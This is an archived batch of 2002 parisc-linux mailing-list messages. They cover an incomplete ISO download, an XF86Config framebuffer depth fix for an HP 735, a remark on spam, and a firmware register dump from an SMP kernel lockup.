Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 06:22:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FEA14829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 06:22:37 -0600 (MDT)
Original-Received: from smtpscan-nl4.philips.com (smtpscan-nl4.philips.com [130.139.36.24])
	by gw-nl4.philips.com (Postfix) with ESMTP id 10B5E45164
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 14:22:34 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl4.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id OAA07753
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 14:22:33 +0200 (MET DST)
Original-Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.45]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id OAA16773
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 14:22:32 +0200 (MET DST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 23/09/2002 14:23:30,
	Serialize complete at 23/09/2002 14:23:30
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16249

This is a multipart message in MIME format.
--=_alternative 00446629C1256C3D_=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Please ignore my posted problem. I apologize not having
realized, that my download was incomplete, although
mozilla download manager listed: "finished 73376 KB of 73376 KB"
Just missed to md5sum the download !
New download was ok. Sucessfully booted into installation menu !

Joachim

Joachim Weller

Philips Medizin Systeme Boeblingen GmbH
Cardiac and Monitoring Systems (CMS) /New Product Engineering=20
Phone: {+49|0}-7031-463-1891
Fax:   {+49|0}-7031-463-2112
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl=20
(Sprecher)
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
=20
5187=20
Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-
--=_alternative 00446629C1256C3D_=
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<br><font size=3D2 face=3D"sans-serif">Please ignore my posted problem. I a=
pologize not having</font>
<br><font size=3D2 face=3D"sans-serif">realized, that my download was incom=
plete, although</font>
<br><font size=3D2 face=3D"sans-serif">mozilla download manager listed: &qu=
ot;finished 73376 KB of 73376 KB&quot;</font>
<br><font size=3D2 face=3D"sans-serif">Just missed to md5sum the download !=
</font>
<br><font size=3D2 face=3D"sans-serif">New download was ok. Sucessfully boo=
ted into installation menu !</font>
<br>
<br><font size=3D2 face=3D"sans-serif">Joachim<br>
<br>
Joachim Weller<br>
<br>
Philips Medizin Systeme Boeblingen GmbH<br>
Cardiac and Monitoring Systems (CMS) /New Product Engineering <br>
Phone: {+49|0}-7031-463-1891<br>
Fax: &nbsp; {+49|0}-7031-463-2112<br>
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F<br>
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl (Spre=
cher)<br>
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
 5187 &nbsp;<br>
Hewlett-Packard Str. 2, D 71034 Boeblingen &nbsp; &nbsp; &nbsp;-GERMANY-</f=
ont>
--=_alternative 00446629C1256C3D_=--


From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 23 Sep 2002 11:00:27 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <1032793227.1848.222.camel@romano>
References: <03ab01c26266$2416dea0$1f96078d@acid>
	<20020922220323.0113cbca.varenet@esiee.fr>
	<03bf01c2627c$9a5147c0$1f96078d@acid>  <03ed01c26280$4dfb5c90$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621756 14648 80.91.229.3 (22 Nov 2014 02:02:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 09:01:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42CF64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 09:01:52 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17tUhH-0000Zo-00; Mon, 23 Sep 2002 11:00:27 -0400
In-Reply-To: <03ed01c26280$4dfb5c90$1f96078d@acid>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16250

On Sun, 2002-09-22 at 17:37, Yves Bodack wrote:
> replying to myself ...
> 
> > and with 8 bpp it says:
> >
> > (EE) FBDev(0): No Display subsection in Screen section "Default Screen"
> for
> > depth/fbbpp 24/24
> > (EE) Screen(s) found, but none have a usable configuration.
> > Fatal server error:
> > no screens found
> 
> same with 16 or 32 bpp :(


Try the following in XF86Config-4

Section Screen
   ... (whatever else you need here) ...

   DefaultDepth 24
   DefaultFbBpp 32

   SubSection Display
      Depth 24
      Modes "1280x1024"
   EndSubSection

EndSection

-- SP



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Do you know the three HGH products?
Date: Mon, 23 Sep 2002 09:18:31 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209230915340.20374-100000@garibaldi.apptechsys.com>
References: <000301c2623e$776cf940$0100a8c0@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621756 14649 80.91.229.3 (22 Nov 2014 02:02:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 10:18:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E8E14829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 10:18:36 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 3DBB27BC65; Mon, 23 Sep 2002 09:18:31 -0700 (PDT)
In-Reply-To: <000301c2623e$776cf940$0100a8c0@PLUTO>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16251

On Sun, 22 Sep 2002, Tobias Giesen wrote:

> Hi all,
> 
> funny spam that was, wasn't it ...
> especially this part:
> 
> > This message is not intended for 
> > residents in the states of CA, NC, 
> > NV, RI, TN, VA & WA.
> 
> I wonder why? Is their product illegal
> in those states?

In WA, at least, spam is "illegal" and would get them a hefty fine.  I 
just wish it had more of an effect than adding that disclaimer to emails.

> 
> BTW is there anything true about the 
> HGH or is it all lies ...
> 
> Cheers,
> Tobias
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
"An ounce of prevention is worth a ton of code."
-- an anonymous programmer



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Mon, 23 Sep 2002 10:23:52 -0700 (PDT)
Lines: 110
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209231021010.20374-100000@garibaldi.apptechsys.com>
References: <20020921044102.3DD104829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621756 14651 80.91.229.3 (22 Nov 2014 02:02:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 11:23:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B0694829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 11:23:58 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id B57F87BC65; Mon, 23 Sep 2002 10:23:52 -0700 (PDT)
In-Reply-To: <20020921044102.3DD104829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16252

On Fri, 20 Sep 2002, Grant Grundler wrote:

> If you have time, could you reproduce the "lockup" and then hit "TOC" button?
> If you cancel autoboot and get a PDC prompt (eg "BOOT_ADMIN>"), "ser pim"
> output will contain machine state when it was TOCed. Capture and Post that 
> output to the mailing list and someone might see what the problem is.
> 

OK.  Here it is....  The kernel is 2.4.19-64-smp from unstable, version 
18.1, so the System.map can be found there...

krakatoa:~# /bin/sh /etc/init.d/setserial start
Loading the saved-state of the serial devices...
Cannot set serial info: Device or resource busy
/dev/ttyS0 at 0x03f8 (irq = 195) is a 16550A

Firmware Version 5.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           46678016 bytes

  Primary boot path:    FWSCSI.5.0
  Alternate boot path:  FWSCSI.6.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        PCI8.0.0

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > ser pim toc

PROCESSOR PIM INFORMATION

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000010478480  000000001010ded4  0000000010435ac8
04-07   0000000000000041  0000000000000001  0000000000000000  0000000000000000
08-11   000000001054b5a0  0000000000000003  00000000105b8b40  00000000105646cc
12-15   0000000000000000  00000000ffffffff  0000000000000001  00000000f0400004
16-19   00000000105b8b40  00000000f000017c  00000000f0000174  0000000000000000
20-23   0000000000000000  0000000000000000  00000000104456a0  00000000105555a0
24-27   00000000105b8b40  0000000000000041  0000000010435ac8  000000001054b5a0
28-31   0000000000000000  00000000105b8ef0  00000000105b9000  000000001055e5a0

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   000000000000295a  0000000000000000  00000000000000c0  000000000000003f
12-15   0000000000000000  0000000000000000  0000000000107000  0000000000000000
16-19   00005f379490dc48  0000000000000000  000000001010de1c  0000000000000000
20-23   0000000000000000  0000000000000000  0000007f082cff0e  a000000000000000
24-27   0000000000487000  0000000015bc1000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  00000000105b8000  00000000105c0000
Space Registers 0 - 7

00-03   000a5680          000a5680          00000000          000a5680
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001010de0c
CPU State                    = 0x9e000001

Main Menu: Enter command > 

Main Menu: Enter command > reset

Resetting...


-- 
If a child annoys you, quiet him by brushing his hair.  If this doesn't
work, use the other side of the brush on the other end of the child.



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Mon, 23 Sep 2002 19:36:57 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <003001c26327$d0db42e0$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.fr><03bf01c2627c$9a5147c0$1f96078d@acid>  <03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621757 14655 80.91.229.3 (22 Nov 2014 02:02:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:37 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Steve Pacenka" <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 11:36:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E1484829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 11:36:30 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8NHaOQ0020152;
	Mon, 23 Sep 2002 19:36:24 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8NHaNkc017671;
	Mon, 23 Sep 2002 19:36:24 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16253

hi steve,
great, this did the trick. thank's a lot. it's quite slow, but it works in
true color :)

greetings yves...


From: "Steve Pacenka" <spacenka@lightlink.com>
Subject: Re: [parisc-linux] RTC and FB on 735/125


> On Sun, 2002-09-22 at 17:37, Yves Bodack wrote:
> > replying to myself ...
> >
> > > and with 8 bpp it says:
> > >
> > > (EE) FBDev(0): No Display subsection in Screen section "Default
Screen"
> > for
> > > depth/fbbpp 24/24
> > > (EE) Screen(s) found, but none have a usable configuration.
> > > Fatal server error:
> > > no screens found
> >
> > same with 16 or 32 bpp :(
>
>
> Try the following in XF86Config-4
>
> Section Screen
>    ... (whatever else you need here) ...
>
>    DefaultDepth 24
>    DefaultFbBpp 32
>
>    SubSection Display
>       Depth 24
>       Modes "1280x1024"
>    EndSubSection
>
> EndSection
>
> -- SP



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 23 Sep 2002 14:46:16 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <1032806776.2868.19.camel@romano>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee.
	 fr><03bf01c2627c$9a5147c0$1f96078d@acid> 
	<03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano> 
	<003001c26327$d0db42e0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621757 14657 80.91.229.3 (22 Nov 2014 02:02:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 12:47:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDE7B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 12:47:40 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17tYDo-0000l9-00; Mon, 23 Sep 2002 14:46:16 -0400
In-Reply-To: <003001c26327$d0db42e0$1f96078d@acid>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16254

On Mon, 2002-09-23 at 13:36, Yves Bodack wrote:
> hi steve,
> great, this did the trick. thank's a lot. it's quite slow, but it works in
> true color :)

Yves,

It's faster than the Macintosh Quadra 610 (another Linux victim) that
I'm typing on now :^) .

Could you please post your experience at getting X applications to work
now that you have X and a desktop?  I got basic gnome things to work
flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
mozilla.


The CRX24 framebuffer also works at 8 bit color, a bit faster.  A minor
patch to one file in the kernel is needed (duplicating a few lines that
apply to another card's depth selection in the same file) and a kernel
boot argument is needed to (optionally) cause the kernel to start video
in 8 bit mode instead of the default 32.  

The hard drive I patched this on is recycled into another type of box,
but Helge Deller can guess what's needed just from this description.

-- regards, SP

> 
> greetings yves...
> 
> 
> From: "Steve Pacenka" <spacenka@lightlink.com>
> Subject: Re: [parisc-linux] RTC and FB on 735/125
> 
> 
> > On Sun, 2002-09-22 at 17:37, Yves Bodack wrote:
> > > replying to myself ...
> > >
> > > > and with 8 bpp it says:
> > > >
> > > > (EE) FBDev(0): No Display subsection in Screen section "Default
> Screen"
> > > for
> > > > depth/fbbpp 24/24
> > > > (EE) Screen(s) found, but none have a usable configuration.
> > > > Fatal server error:
> > > > no screens found
> > >
> > > same with 16 or 32 bpp :(
> >
> >
> > Try the following in XF86Config-4
> >
> > Section Screen
> >    ... (whatever else you need here) ...
> >
> >    DefaultDepth 24
> >    DefaultFbBpp 32
> >
> >    SubSection Display
> >       Depth 24
> >       Modes "1280x1024"
> >    EndSubSection
> >
> > EndSection
> >
> > -- SP
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Mon, 23 Sep 2002 22:10:24 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <001101c2633d$40a33d70$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid> <02092218054100.14750@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621757 14659 80.91.229.3 (22 Nov 2014 02:02:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 14:09:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93C3B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 14:09:54 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8NK9pQ0021075
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 22:09:51 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8NK9okc020678
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 22:09:51 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
